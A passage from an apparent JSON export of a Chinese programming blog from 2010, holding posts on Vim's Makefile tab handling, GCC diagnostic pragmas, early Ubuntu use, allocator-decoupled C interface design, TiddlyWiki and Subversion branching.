nocompatible”，“compatible”已经被关掉，不会对expandtab产生影响。又想了想，假设受影响，那么所有文件都应该受到影响才对，不应该只有Makefile这类文件受影响。\n想到这里，突然开了窍！是不是我开启的文件类型检测导致的呢？我在.vimrc设置了\u0026quot;filetype plugin on\u0026quot;。又看了一下这个设置的相关Manual，虽然没有直接给出答案，但是顺藤摸瓜，我也找到了原因。\n因为开启了文件类型检测，Vim在打开或新建一个文件时会自动判断文件的扩展名以确定文件类型，在$VIMRUNTIME/filetype.vim中搜索\u0026quot;Makefile\u0026quot;，可看到如下脚本语句：\n\u0026quot; Makefile\nau BufNewFile,BufRead *[mM]akefile,*.mk,*.mak,*.dsp setf make\nVim将Makefile划归为\u0026quot;make\u0026quot;类型(setf make)。在$VIMRUNTIME/ftplugin下有一堆xxx.vim文件，我们从中可以找到make.vim，这个文件就是VIM针对make类型文件的设置，在打开或新建make类型文件时被VIM自动加载。\n这个make.vim文件中有一行设置如下：\n\u0026quot; Make sure a hard TAB is used, required for most make programs\nsetlocal noexpandtab softtabstop=0\n见文知义！果不其然，就是这个问题。又试验了一下，将.vimrc中的“filetype plugin on”注释掉，再打开Makefile文件，TAB就可以被自动转换为四个空格了。\n回头一想，VIM针对make类型文件设置了noexpandtab也不无道理，编写过Makefile的朋友都知道，Makefile的基本组成结构就是：\ntarget … : prerequisites …\ncommand\n…\n…\n其中Makefile语法要求command前面必须放置一个TAB！否则解析失败！\n这回真相大白了^_^\n","permalink":"https://tonybai.com/2010/09/07/a-problem-about-vim-expand-tab/","summary":"\u003cp\u003e今天遇到一个奇怪的问题：明明我在\u003ca href=\"http://tonybai.com/2010/08/22/reconfigure-vim/\"\u003e.vimrc\u003c/a\u003e中开启了expandtab选项，但是当我编辑Makefile文件时，敲入的TAB就是无法被\u003ca href=\"http://tonybai.com/2010/08/22/reconfigure-vim/\"\u003eVIM\u003c/a\u003e自动转换为四个空格(已经设置tabstop=4，shiftwidth=4)，通过\u0026quot;:set expandtab?\u0026ldquo;查看该选项值也居然是\u0026quot;noexpandtab\u0026rdquo;;编辑其他文件（如.c、.h文件甚至是无扩展名的文件)时expandtab却都是开启的，TAB也可被自动转换，百思不得其解!\u003c/p\u003e","title":"一个关于Vim扩展TAB键的问题"},{"content":"每当你Build Project代码的时候，如果看到的是满屏的Warning，那么提醒你小心了，不妨看看《高效程序员的45个习惯》中对Warning的态度和处理方式。该书中的第34个习惯讲的是“警告就是错误”！ 当然这个“习惯”所阐述的内容并不是这本书首创，在很多经典的传授编程之道的书中也都提到过。\n将警告作为错误来处理，说起来容易，可作起来可并不那么简单。这不仅仅只是一个态度的问题，有时候还需要有技术手段或技巧去帮助你完成。《高效程序员的45个习惯》一书的作者也在该习惯所对应的“平衡的艺术”中提到：“如果确实没有应对之策的话，那就不要再浪费更多时间了。但类似这种情况很少发生”。另外他建议应该经常使用编译器的directive（指示器），将一些实在无法避免但又确定不是潜在缺陷的警告进行提示，告知编译器这个地方的警告可以不去理会。\n将警告视为错误首先需要的就是勇气，大胆的在你的Makefile中将-Werror赋予给Gcc吧。Gcc则为你提供了一定的技术手段来帮你处理面对无法避免的警告时“左右为难”的情况。\nGcc为我们提供的技术手段就是Pragmas，虽然Gcc手册中建议我们一般情况下不要显式的使用Pragmas，但必要时还是需要这个工具的帮助的。\n#pragma directives这个指示器嵌入在源码中，用于在源码编译时给GCC编译器提供一些指示信息。Pragmas有多种分类，这里我们需要的是Diagnostic Pragmas。简单的说，嵌入在源码中的Diagnostic Pragmas给我们提供了如下一些能力：\n-\u0026gt; 将某类编译警告按编译错误处理 (如：#pragma GCC diagnostic error \u0026ldquo;-Wformat\u0026rdquo;)\n-\u0026gt; 将某类编译错误按编译警告处理 (如：#pragma GCC diagnostic warning \u0026ldquo;-Wformat\u0026rdquo;)\n-\u0026gt; 忽略某类编译警告 (如：#pragma GCC diagnostic ignored \u0026ldquo;-Wformat\u0026rdquo;)\nGcc对Diagnostic Pragmas的支持是随着版本进化而逐渐增强的，在gcc 3.4.6版本下Diagnostic Pragmas是不被accepted的，Gcc只accept五类Pragmas;到了gcc 4.4.4版本，Gcc已经可以支持12类Pragmas，这其中就包括Diagnostic Pragmas。\n通过实际的测试也可以证实以上说明。\ne.g.\n/* testpragma.c , gcc -Wall testpragma.c */\n#include\n#pragma GCC diagnostic error \u0026ldquo;-Wformat\u0026rdquo;\nint main() {\nprintf(\u0026quot;%d\\n\u0026quot;, \u0026ldquo;Diagnostic Pragmas Test\u0026rdquo;);\nreturn 0;\n}\n在Sparc Solaris 10上使用gcc 3.4.6编译结果如下：\ngcc -Wall testpragma.c\ntestpragma.c:3: warning: ignoring #pragma GCC diagnostic\ntestpragma.c: In function `main\u0026rsquo;:\ntestpragma.c:5: warning: int format, pointer arg (arg 2)\n编译器提示忽略了diagnostic pragma指示。\n而在Ubuntu 10.04 Gcc 4.4.3版本下编译结果如下：\ngcc -Wall testpragma.c\ntestpragma.c: In function ‘main’:\ntestpragma.c:5: error: format ‘%d’ expects type ‘int’, but argument 2 has type ‘char *’\n编译器正确执行了我们给出的指示^_^。\n#pragma directive的作用范围也很好理解：\n首先肯定是在同一编译单元范围内有效，在A编译单元中设置的#pragma directive，在B编译单元是无效的。比如我另外编写一个utils.c，其内容如下：\n#include\nvoid foo() {\nprintf(\u0026quot;%d\\n\u0026quot;, \u0026ldquo;In another compile unit\u0026rdquo;);\n}\n我们将utils.c与testpragma.c一起编译，gcc -Wall testpragma.c utils.c，得到的结果是：\ntestpragma.c: In function ‘main’:\ntestpragma.c:5: error: format ‘%d’ expects type ‘int’, but argument 2 has type ‘char *’\nutils.c: In function ‘foo’:\nutils.c:4: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘char *’\n在testpragma.c这个编译单元，#pragma directive生效，但是在utils.c这个编译单元并不生效，依旧被诊断为Warning。\n其次，在同一个编译单元中，#pragma directive影响的范围是其所在行之后的代码，直到下一次修改针对同样warning option的#pragma被放置。还是举例说明，我们改造一下testpragma.c：\n/* testpragma.c */\n#include\n#pragma GCC diagnostic error \u0026ldquo;-Wformat\u0026rdquo;\nvoid foo() {\nprintf(\u0026quot;%d\\n\u0026quot;, \u0026ldquo;Diagnostic Pragmas Scope Test\u0026rdquo;);\n}\nint main() {\nprintf(\u0026quot;%d\\n\u0026quot;, \u0026ldquo;Diagnostic Pragmas Test\u0026rdquo;);\nreturn 0;\n}\n编译命令执行后，Gcc给出的输出结果是：\ntestpragma.c: In function ‘foo’:\ntestpragma.c:5: error: format ‘%d’ expects type ‘int’, but argument 2 has type ‘char *’\ntestpragma.c: In function ‘main’:\ntestpragma.c:9: error: format ‘%d’ expects type ‘int’, but argument 2 has type ‘char *’\n#pragma directive从头置尾一直发挥作用，两个format Warning都被当作Error报告了。\n现在我们对main中的问题放松要求，将源码变为：\n/* testpragma.c */\n#include\n#pragma GCC diagnostic error \u0026ldquo;-Wformat\u0026rdquo;\nvoid foo() {\nprintf(\u0026quot;%d\\n\u0026quot;, \u0026ldquo;Diagnostic Pragmas Scope Test\u0026rdquo;);\n}\n#pragma GCC diagnostic ignored \u0026ldquo;-Wformat\u0026rdquo;\nint main() {\nprintf(\u0026quot;%d\\n\u0026quot;, \u0026ldquo;Diagnostic Pragmas Test\u0026rdquo;);\nreturn 0;\n}\n执行编译命令后，Gcc的提示变为：\ntestpragma.c: In function ‘foo’:\ntestpragma.c:5: error: format ‘%d’ expects type ‘int’, but argument 2 has type ‘char *’\n显然对-Wformat按照Error处理的作用范围仅限于foo这个函数，因为在foo之后我们修改了对-Wformat的指示！\n有了编译器的支持，我们将更有信心去养成“视警告为错误”的习惯了。实际工作中，#pragma directive应用应该不多，因为多数情况下的警告都是可以通过正常的代码完善消除掉的。\n","permalink":"https://tonybai.com/2010/09/05/view-warning-as-error/","summary":"\u003cp\u003e每当你Build Project代码的时候，如果看到的是满屏的Warning，那么提醒你小心了，不妨看看\u003ca href=\"http://book.douban.com/subject/4164024/\"\u003e《高效程序员的45个习惯》\u003c/a\u003e中对Warning的态度和处理方式。该书中的第34个习惯讲的是“警告就是错误”！ 当然这个“习惯”所阐述的内容并不是这本书首创，在很多经典的传授编程之道的书中也都提到过。\u003c/p\u003e","title":"视警告为错误"},{"content":"安装Ubuntu已有一周多，无论是在工作单位还是在家里，Ubuntu都作为我的第一OS，Win7基本上处于被打入“冷宫”状态。事实证明对我来说，Ubuntu完全可以取代Windows。\n公司提供有线和无线网络两种接入方式，对于致力于追求“理想的无线世界”的我来说，无线接入是我的第一选择。公司的无线接入采用TTLS认证方式，在WinXP和Win7上都有相应的客户端(SecureW2)可供使用，但在Ubuntu上是否有此类客户端我还不知道，咨询了公司的IT服务部门，得到的回答也是“不知道”（想必在公司内部像我这样使用Linux OS的少之又少）。在网络上寻找答案也未果。我之前对无线接入认证那些术语了解甚少，甚至不知道公司采用的是哪种认证方式，但通过SecureW2官方站以及Wikipedia了解到了公司用的是TTLS认证。我无意中打开Ubuntu无线网络连接配置，在连接“编辑”对话框的“无线安全性”标签中居然看到了\u0026quot;隧道TLS\u0026quot;方式，难道Ubuntu内置就支持TTLS？于是我就按照Windows上的配置方式尝试配置了一下，包括密钥协议和内部认证等，点击连接，哇，居然真的连上了！打开Firefox测试了一下，一切OK，问题解决。我将配置方法简单写成了一个Mail发给了公司IT服务部门，希望能为公司其他同遇到这个问题的同事提供一些帮助。\nUbuntu默认采用的是Gnome桌面环境。Gnome近期最受关注的要属计划2011年发布的多次“跳票”的Gnome 3.0了，Gnome 3.0的一个核心组件就是Gnome shell。网上有不少关于Gnome shell的抢鲜体验，其实通过Ubuntu自带的软件中心，大家都可以体验到Gnome Shell，软件中心提供的版本是2.28。安装后使用Alt+F2打开“运行”对话框，输入“gnome-shell –replace”即可启动Gnome shell，也许是之前看过一些抢鲜体验介绍的缘故吧，Gnome shell并未让我感觉有多惊艳。通过Alt+F2，输入debugexit即可退出Gnome shell。因为不是最终稳定版，所以建议不要将之作为默认窗口管理器。\n我很喜欢收集电子书，本子里至少有几个G的电子书，不过有很多电子书是chm格式的，Ubuntu下无法打开。安装Wine后似乎自带了一个hh程序用来打开chm电子书，但是我试了一下打开失败。Google了一下，发现有很多Linux下阅读chm的工具，首先试着安装了一下xchm这个工具。工具不大，瞬间安装完毕，试了一本中文chm电子书，打开是没有问题，但是中文字符全部显示为乱码。我找了半天也没有设置中文字符编码的地方。又试了一下纯英文书籍，支持的很好！中文chm不能看，我心里总是不那么舒坦。在Ubuntu中文论坛上又有人介绍chmsee这款小工具，又试了一下，这回中文算是没问题了，就是它了。\n前两天尝试安装了一下Macbuntu以体验一下Mac的风格主题界面，结果安装失败，只有登录界面改成Mac形式的了，其他界面主体丝毫没变，问题出在哪里并不清楚，关键是居然没有卸载选项，还搞的我的GVIM一启动就自动退出，并提示：\u0026ldquo;gtk warning Invalid input string\u0026rdquo;，后来在网上找到了解决方法：\ncd /usr/share/vim/vim72/lang\nsudo ln -s menu_zh_cn.utf-8.vim menu_zh_cn.utf8.vim\n难不成Macbuntu修改了中文区域设置？\n今天在奶牛博客上看到Macbuntu版本更新到v2.1了(之前装的是v2.0)，抱着侥幸的心理又试一下，这回似乎又进了一步，桌面、Firefox都换成了Mac主题，不过所有的菜单上的中文文字后面都莫名其妙的出现了许多“方格”，十分难看。还好v2.1版本提供uninstall功能，遂回退了。这次回退后Gvim居然也没有问题。\nLaunchy一直用的很好，但是不知最近安装或卸载了什么软件，每次启动Launchy，都提示Alt+Space的热键已经被占用，但是通过“首选项”-\u0026gt;“键盘快捷键”查看，并没有那个程序占用了Alt+Space，诡异的是Launchy也仅仅给个提示，提示后Alt+Space依旧绑定在Launchy上，照用不误！\n用wine1.2运行secureCRT，导致secureCRT界面实在是很丑陋！后来干脆都不咋使用secureCRT了，直接在本机编写代码，后来一想：Linux本来就是用来写代码的，还用什么secureCRT啊！\n在Ubuntu中文论坛上看到10.04版的Ubuntu官方桌面教程中文版已经发布，对于我这样的Ubuntu新手来说浏览一遍官方教程还是大有裨益的。另外发现官方中文Wiki有一页讲解的都是Ubuntu的操作Skills，值得细致品读。\n另外找了一本电子书\u0026quot;Ubuntu – Powerful Hacks and Customizations\u0026quot;，打算花几天读完它，争取早日摆脱初级选手的这顶帽子^_^。\n","permalink":"https://tonybai.com/2010/09/04/one-week-experience-of-ubuntu/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/\"\u003e安装Ubuntu\u003c/a\u003e已有一周多，无论是在工作单位还是在家里，Ubuntu都作为我的第一OS，Win7基本上处于被打入“冷宫”状态。事实证明对我来说，Ubuntu完全可以取代Windows。\u003c/p\u003e\n\u003cp\u003e公司提供有线和\u003ca href=\"http://tonybai.com/2008/03/08/configure-wireless-router/\"\u003e无线网络\u003c/a\u003e两种接入方式，对于致力于追求“理想的无线世界”的我来说，无线接入是我的第一选择。公司的无线接入采用\u003ca href=\"http://en.wikipedia.org/wiki/Extensible_Authentication_Protocol\"\u003eTTLS\u003c/a\u003e认证方式，在WinXP和Win7上都有相应的客户端(\u003ca href=\"http://www.securew2.com/\"\u003eSecureW2\u003c/a\u003e)可供使用，但在Ubuntu上是否有此类客户端我还不知道，咨询了公司的IT服务部门，得到的回答也是“不知道”（想必在公司内部像我这样使用Linux OS的少之又少）。在网络上寻找答案也未果。我之前对无线接入认证那些术语了解甚少，甚至不知道公司采用的是哪种认证方式，但通过SecureW2官方站以及Wikipedia了解到了公司用的是TTLS认证。我无意中打开Ubuntu无线网络连接配置，在连接“编辑”对话框的“无线安全性”标签中居然看到了\u0026quot;隧道TLS\u0026quot;方式，难道Ubuntu内置就支持TTLS？于是我就按照Windows上的配置方式尝试配置了一下，包括密钥协议和内部认证等，点击连接，哇，居然真的连上了！打开\u003ca href=\"http://tonybai.com/2008/12/17/accelerate-the-firefox-on-ubuntu/\"\u003eFirefox\u003c/a\u003e测试了一下，一切OK，问题解决。我将配置方法简单写成了一个Mail发给了公司IT服务部门，希望能为公司其他同遇到这个问题的同事提供一些帮助。\u003c/p\u003e","title":"Ubuntu一周体验"},{"content":"近期在考虑对底层函数库进行一些重构，今天下午花了两个小时考量现有的函数库的接口设计，发现目前函数库的实现存在着一个普遍的问题：与特定的内存分配实现耦合的太紧。\n我们的应用是多进程结构的，并使用了共享内存这种最快捷的IPC机制，鉴于此很多同事在实现一些数据结构或者算法时可能只考虑到了我们常见的应用场景-多进程共享，而对非共享内存分配的情况考虑不足。那如何将目前某些库函数实现与内存分配之间的强耦合解开呢？针对这道题我发起了一次mail讨论。\n题目再重述一下：“目前底层库中的一些数据结构，比如xx_tree、xx_hash_table等，在它们的实现中都会有“分配内存空间”的需求，现有的实现多是直接调用已有的xx_shm_malloc和xx_shm_free在共享内存上动态申请和释放内存，但实际上有些场合我们并不需要在共享内存上分配内存，进程私有堆上的内存完全可以满足需求。如果让大家考虑修改目前xx_tree的实现或重新设计xx_tree的接口，以达到让xx_tree支持多种内存分配策略的目的，你是如额考虑的，请谈谈你的设计思路。\u0026quot;\nMail没发出去多久，就收到了同事A的回复。同事A近期正在对一个老应用的底层库做”翻新“，收到我这封Mail后他产生了共鸣，因为他也遇到了类似的问题。他目前的解决方法是：在xx_tree_t结构体里增加一个成员shared来表示是否在共享内存上申请内存，然后将原xx_tree_new接口改名为内部static接口new_tree，new_tree在申请内存时通过判断shared变量的值来决定到底使用哪种具体的内存分配方式。同样释放内存时也要根据shared的值来判断如何释放内存。原xx_tree_new外部接口通过将shared置为1，并调用new_tree实现;另外新增一个外部接口xx_tree_new_private，选择在进程堆上分配内存的实现方式。他对于这种修改的评价是：\u0026ldquo;这种方法的好处是原接口没有变化，其它使用这个接口的程序代码无需修改。\u0026rdquo;\n在某些场合下同事A的这种修改方案确也无可厚非，因为有时的确需要考虑对现有代码的影响。但如果该方案是对于xx_tree的一个全新的设计，那显然它没能很好解决我在题目中提出的耦合问题。xx_tree的创建还是依赖于具体的内存分配实现，虽然目前扩展成支持两种内存分配方式了，但付出了新增一个接口，内部增加若干”if…else“判断逻辑的代价。如果我再提供一种新的yy_malloc内存分配机制，那么这种方案下的xx_tree显然无法很好的应对这种变化。\n一转眼间又有几封Mail回来，几位同事的思路居然与同事A的都不谋而合，看来大家对于接口变动带来影响还是心有余悸的。\n同事A思维很活跃，很快他的第二种方案又公布出来了。其大致思路就是：可以在多种内存分配接口外面套上一个通用的接口，比如void* common_malloc(size, type)和void common_free(ptr)。xx_tree只需增加一个type字段，并在xx_tree_new中传入相应type，xx_tree内部实现一概使用common_malloc/common_free接口，并将type值传入相应接口。这样xx_tree与具体的内存分配机制实现的耦合就解开了。\n这种方案中的common_malloc和common_free则似乎成了一种代理，解除了xx_tree与具体内存分配实现之间的耦合，但是这个代理却需要关心到具体的内存分配机制的实现。如果有新增内存分配方式，common_malloc和common_free依然需要修改，仍未达到理想状态。\n同事B的Mail接踵而来。Mail中他谈了他的回调函数方案:\n定义两个回调函数指针原型如下，\ntypedef void* (*hook_malloc)(int size);\ntypedef void (*hook_free)(void *);\n修改xx_tree_new的接口，在接口原型中增加两个参数，一个是hook_malloc malloc_func，一个是hook_free free_func。这样在xx_tree的其他接口实现中只需回调malloc_func和free_func即可，它无须关心这两个指针对应的具体实现。\n这个方案其实已经接近我的方案，但是我提出的问题是：如果xx_tree中使用calloc和realloc了怎么办？calloc与realloc从语意上与malloc又不同，函数原型上与malloc也无法兼容？当然了最简单的答案就是再定义两个针对calloc和realloc的函数原型，然后再为xx_tree_new增加两个参数。但这样下来参数数量是不是太多了！如果再增加其他语义的分配行为，xx_tree接口还得修改。\n讨论到这里已接近下班时间，这个问题依旧留给大家继续思考。其实这个解耦合问题主要是想要大家知道通过面向接口而不是具体实现的编程可以降低甚至消除一些代码耦合，而C语言中”接口“的概念可以通过函数指针体现出来。\n我这里也给出一种看似还不错的方案，(函数设计没有最好只有更好^_^，如果你有更好的想法，欢迎交流)\n我定义了一个名为xx_allocator_t的结构体，其成员均为函数指针变量，这个xx_allocator_t就类似于Java里的interface，只定义了接口的行为规范（C的函数指针原型）。所有类似xx_tree需要支持多种内存分配方式的数据结构只要支持xx_allocator_t即可(将xx_allocator_t类型变量作为参数传入)。\n/* x_allocator.h */\ntypedef void* (*x_alloc_func)(size_t size);\ntypedef void (*x_free_func)(void *ptr);\ntypedef void* (*x_calloc_func)(size_t nmemb, size_t size);\ntypedef void* (*x_realloc_func)(void *ptr, size_t size);\nstruct xx_allocator_t {\nx_alloc_func af;\nx_free_func ff;\nx_calloc_func cf;\nx_realloc_func rf;\n};\n业务层使用xx_tree的方法：\ntree = xx_tree_new(\u0026amp;(struct xx_allocator_t){.af = malloc, .ff = free});\n这里利用C99中的结构体赋值方式，即使你为xx_allocator_t增加一种新行为，这里的代码也不需要做什么修改。\n这次讨论感觉大家都动了脑并参与了进来，达到了预期的效果，大家也很喜欢，我觉得可继续做下去，至于形式上可灵活变通。\n","permalink":"https://tonybai.com/2010/09/02/an-discussion-on-function-design/","summary":"\u003cp\u003e近期在考虑对底层函数库进行一些\u003ca href=\"http://tonybai.com/2006/03/28/c-refactoring/\"\u003e重构\u003c/a\u003e，今天下午花了两个小时考量现有的函数库的接口设计，发现目前函数库的实现存在着一个普遍的问题：与特定的内存分配实现耦合的太紧。\u003c/p\u003e\n\u003cp\u003e我们的应用是多进程结构的，并使用了\u003ca href=\"http://tonybai.com/2005/09/23/apr-shmem/\"\u003e共享内存\u003c/a\u003e这种最快捷的IPC机制，鉴于此很多同事在实现一些数据结构或者算法时可能只考虑到了我们常见的应用场景-多进程共享，而对非共享内存分配的情况考虑不足。那如何将目前某些库函数实现与内存分配之间的强耦合解开呢？针对这道题我发起了一次mail讨论。\u003c/p\u003e\n\u003cp\u003e题目再重述一下：“目前底层库中的一些数据结构，比如xx_tree、xx_hash_table等，在它们的实现中都会有“分配内存空间”的需求，现有的实现多是直接调用已有的xx_shm_malloc和xx_shm_free在共享内存上动态申请和释放内存，但实际上有些场合我们并不需要在共享内存上分配内存，进程私有堆上的内存完全可以满足需求。如果让大家考虑修改目前xx_tree的实现或重新设计xx_tree的接口，以达到让xx_tree支持多种内存分配策略的目的，你是如额考虑的，请谈谈你的设计思路。\u0026quot;\u003c/p\u003e","title":"一次函数设计讨论"},{"content":"今天下午例行项目例会，例会内容乏善可陈(但都还是比较重要的事情^_^)，无非是跟踪进度、跟踪之前未解决的问题等。近几次的例会或技术交流会我都会给大家分享些东西，哪怕是告诉大家如何从C Shell迁移到更高效的Bash Shell这样的小事情。\n这次给大家带来的是如何使用分支以及TiddlyWiki这款小工具。过程较为平淡，大家也基本以沉默为主，零星有几个问题提出。\n尾声阶段，大家注意到了我刚刚用了一周多的Ubuntu，不过多数人并未见识过Ubuntu，有的同事以为我用的是Apple的OS，有的同事对Linux认知还停留在Redhat时代，以为我安装的是哪个Redhat发行版; 看到大家的这种状态，我就顺便借此机会给大家做个Ubuntu扫盲吧。\n介绍一个Desktop OS也没有什么固定套路，其实更多的就是带着大家一起浏览一下Ubuntu的桌面，看看Ubuntu上安装了哪些软件，让大家有个感性认识。大家其实更关心的是能否在工作环境下使用Ubuntu、某个软件在Ubuntu下是否可以使用等问题。\n“被扫盲”后，许多同事都蠢蠢欲动，咨询着如何安装Ubuntu。 我其实是很建议大家去尝试使用Ubuntu的，但是在公司使用代理似乎无法访问到Ubuntu的几个主要源服务器，导致网络安装软件十分不便，所以我在目前阶段也仅是建议大家业余时间试用。\n对于一个习惯了Windows桌面和应用的人来说，接受另外一个OS，做出改变，不易！需要有足够的热情、决心和耐心！以我为鉴吧！^_^\n","permalink":"https://tonybai.com/2010/08/31/ubuntu-eliminate-illiteracy/","summary":"\u003cp\u003e今天下午例行项目例会，例会内容乏善可陈(但都还是比较重要的事情^_^)，无非是跟踪进度、跟踪之前未解决的问题等。近几次的例会或技术交流会我都会给大家分享些东西，哪怕是告诉大家如何从C \u003ca href=\"http://tonybai.com/2006/05/02/an-introduction-on-unix-shell-scripting/\"\u003eShell\u003c/a\u003e迁移到更高效的\u003ca href=\"http://tonybai.com/2009/02/27/make-bash-my-default-shell/%20%20http://tonybai.com/2009/02/27/make-bash-my-default-shell/%20%20http://tonybai.com/2009/02/27/make-bash-my-default-shell/\"\u003eBash\u003c/a\u003e Shell这样的小事情。\u003c/p\u003e","title":"Ubuntu扫盲"},{"content":"2008年末和一位同事在山西出差，发现那位同事在用TiddlyWiki写一些日记，那时候算是第一次知道TiddlyWiki，但不知是为什么，当时的我并没有被TiddlyWiki所吸引，也就失去了一次使用TiddlyWiki的机会。\n近期新启动了一个产品版本的开发任务，该版本是对之前遗留系统版本的重构和优化，我们想趁此机会将梳理遗留系统时总结下来的东西以及一些新的设计想法记录下来，以便于后人参考并迅速上手。曾经使用Confluence搭建过一个Wiki，但是该系统因公司政策被取消了。公司一年多以前建立了一个知识管理系统，不过我们发现这个系统极其难用，完全不能满足我们需要，这时我们又想起了TiddlyWiki。\nTiddlyWiki应该算是世界上最小巧、最简单的Wiki工具了，只有一个大概300多K的html文件，所有功能都内置在该文件里，你编辑的内容也会在文件中存储着。从官方站下载后，用Firefox打开即算安装完毕了。\n-\u0026gt; 定制你的TiddlyWiki\n使用TiddlyWiki第一步想必都是定制界面吧。如果你想用TiddlyWiki写日记，那起码应该把Wiki页面上方的\u0026quot;My TiddlyWiki a reusable non-linear personal web notebook\u0026quot;字样修改一下，改成\u0026quot;Tony\u0026rsquo;s Diary\u0026quot;之类的描述文字。另外英文看起来比较费劲，至少都应翻译成中文，TiddlyWiki默认采用UTF-8编码，对中文的支持完全没有问题。\nTiddlyWiki默认页面中的\u0026quot;GettingStarted\u0026quot;会引导你做一些页面元素信息修改和定制。\n* SiteTitle: 页面的主标题，点击斜体的\u0026quot;SiteTitle\u0026quot;，在延伸打开的\u0026quot;SiteTitle\u0026quot;编辑区域中找到\u0026quot;edit\u0026quot;，点击它编辑SiteTitle，比如改为“XX Developer Guide\u0026quot;。\n* SiteSubtitle：\n页面副标题，修改方式同上。\n-\u0026gt; 关于Tiddler\n在Wiki页面上你会看到较多的提示说明中都有Tiddler一词，官方给出的术语解释是”A content pane inside TiddlyWiki“，实际上Tiddler就是我们输入内容、图片、链接的地方。我们可以新建、修改和删除一个Tiddler，我们的Wiki实际上也是众多Tiddler的聚合体。系统有很多内建的特殊Tiddler，比如SiteTitle、SiteSubtitle、MainMenu、DefaultTidders(记录在启动时自动打开的Tiddlers列表)等，对于这些内建的Tiddlers建议保留。Tiddlers是按照名字识别和组织的，在页面右侧的包含多个Tab的那个栏里有一个\u0026quot;all\u0026quot; Tab，那里记录着所有的Tiddlers。\n-\u0026gt; Tiddler内容编辑\n新建一个Tiddler，我们就可以编辑Tiddler的内容了，一般我们最常使用文字、图片和超链接来表达我们的想法。\n文字没有什么特殊的地方，顶多是字体上的差异，关于字体语法在中文TiddlyWiki上有详尽的说明。\n贴图编辑格式：[img[果果|images/果果.jpg]] ，其中“果果”是鼠标悬浮在图片上时显示的文字，“images/果果.jpg”是图片的本地地址或Web Url”。当使用本地地址时，当前目录为TiddlyWiki文件所在目录。\n链接到某文件：[[安装方法|install_guide.txt]]中的xxxx，其中“安装方法”将在界面中以带下划线的超链接显示出来，点击后Firefox会自动打开install_guide.txt; 如果把install_guide.txt换成install_guide.odt，那么Firefox会弹出对话框让你选择是打开还是Save。\n链接到另外一个TiddlyWiki的Tiddler: [[安装指南|user_guide.html#快速入门]]中的xxx，其中user_guide.html是另外一个TiddlyWiki文件，“快速入门”是user_guide.html中的一个Tiddler，用一个#号将两者联系起来，这样点击后，Firefox会自动打开user_guide.html并跳转到打开的“快速入门”Tiddler上。\nTiddlyWiki有一些高级功能还待挖掘中，不过估计可能也用不上多少，毕竟我们更多是提供内容。\n由于不能为TiddlyWiki搭建一个Web服务器，因为那可能又与公司策略抵触，因此我们用svn管理TiddlyWiki文件(必要时可采用lock-modify-unlock模式。 另外TiddlyWiki毕竟采用的是单文件格式，一旦内容过多会导致文件Size过大，所以在使用TiddlyWiki之前最好做好规划，采用多TiddlyWiki files配合使用的方式，充分利用TiddlyWiki file之间的超链接和自动识别功能。\n最后建议设立专人定期负责内容的整理和重编排，使信息的组织逻辑更清晰合理，也算是对Wiki的“重构”了。\n","permalink":"https://tonybai.com/2010/08/30/learn-tiddlywiki/","summary":"\u003cp\u003e2008年末和一位同事在山西出差，发现那位同事在用\u003ca href=\"http://www.tiddlywiki.com/\"\u003eTiddlyWiki\u003c/a\u003e写一些日记，那时候算是第一次知道TiddlyWiki，但不知是为什么，当时的我并没有被TiddlyWiki所吸引，也就失去了一次使用TiddlyWiki的机会。\u003c/p\u003e\n\u003cp\u003e近期新启动了一个产品版本的开发任务，该版本是对之前遗留系统版本的重构和优化，我们想趁此机会将梳理遗留系统时总结下来的东西以及一些新的设计想法记录下来，以便于后人参考并迅速上手。曾经使用\u003ca href=\"http://www.atlassian.com/software/confluence/\"\u003eConfluence\u003c/a\u003e搭建过一个Wiki，但是该系统因公司政策被取消了。公司一年多以前建立了一个知识管理系统，不过我们发现这个系统极其难用，完全不能满足我们需要，这时我们又想起了TiddlyWiki。\u003c/p\u003e","title":"初用TiddlyWiki"},{"content":"近期在为一个新项目作版本库规划，并策划一些即将应用于该项目的版本控制和发布流程的Rules。借此机会我也花上一些时间对我们之前的版本控制和发布流程进行一下反思，也翻看了一些书籍(比如《版本控制之道-使用subversion》、社区自由图书《Subversion与版本控制》等)，了解一下Best Practice是什么样子的，同时也纠正一下我之前理解不正确的地方。\n我们这些年来一直在使用CVS/Subversion这些版本控制系统进行源码管理，但若干年来似乎没有什么改善，仍然在走最初的路子进行版本控制和发布，这也导致我们仍旧挣扎在繁乱的版本库中。未经精心策划过的版本库组织及发布管理流程还在一定程度上降低了团队的工作效率。\n年初曾协调开发团队和测试团队共同制定了一些版本管理和发布流程的改善措施，目前收到了一定效果，但是我个人觉得与最佳状态相比，我们还是有差距的。差距主要还是体现在对VCS系统的几个概念拿捏的不够好，比如说分支。\n现在的程序员已经足够幸福了，前人经过几十年的实践给我们留下了版本控制的一些最佳实践，你在介绍CVS、SVN或GIT等VCS工具的书籍中都能读得到。之前没有静下心来好好读一读这类的书籍真是有些遗憾，走了许多弯路。\n版本控制工具应用的核心应该是对分支、标签的把握，这其实也是最难的，它可不仅仅是简单命令的使用，而是体现着对软件开发流程的整体把握能力。\n如何使用分支等高级概念取决于你对软件生命周期的规划，如果一个软件产品极其简单，简单到发布一个版本后就不需要增加feature和Bugfix了，那你根本不需要用到分支，甚至标签都可省去。但实际生活中我们面对的是一个复杂的世界，多数软件产品都会有一个较长的生命周期，在这个生命周期里程序员们需要为它增添feature，为它Fix bug，这样分支等概念就能派上用场，可以帮助你更佳清晰的管理版本以及提升开发和测试的效率。\nSubversion引入了“TTB(Trunk-Tags-Branches)”的实践，其核心也是分支的使用。资料中多将分支分成两种类型，一种称为”Release Branch(发行分支)”，另外一种是”Feature Branch(特性分支)”。我们还是结合一个例子来说明两者的差异吧。\n一般一个项目在初始阶段都会有相应的负责人对产品的版本进行规划，比如对与testproj这个项目来说，规划如下：\nversion 1.0.0\n– feature#1\n– feature#2\n– feature#3\nversion 2.0.0\n– feature#4\n– feature#5\nversion 3.0.0\n– feature#6\n– feature#7\n规划版本号采用标准的[major.minor.revision]格式。版本库组织采用标准的TTB形式，即：\ntestproj(root)\n– trunk\n– branches\n– tags\n之后大家就一起在trunk上编码，测试，提交，乐此不疲^_^。直到有一天开发leader宣布feature#1~#3编码+UT的工作基本OK了。下面的工作将会出现岔路口，一组人要继续在trunk上开发feature#4~#5，另外一组人则要继续执著于feature#1~#3直到1.0.0版本最终发布。分支此时该出面解决问题了。不过如何创建分支、创建什么类型的分支，出现了两种意见:\n1、创建”发布分支，Release 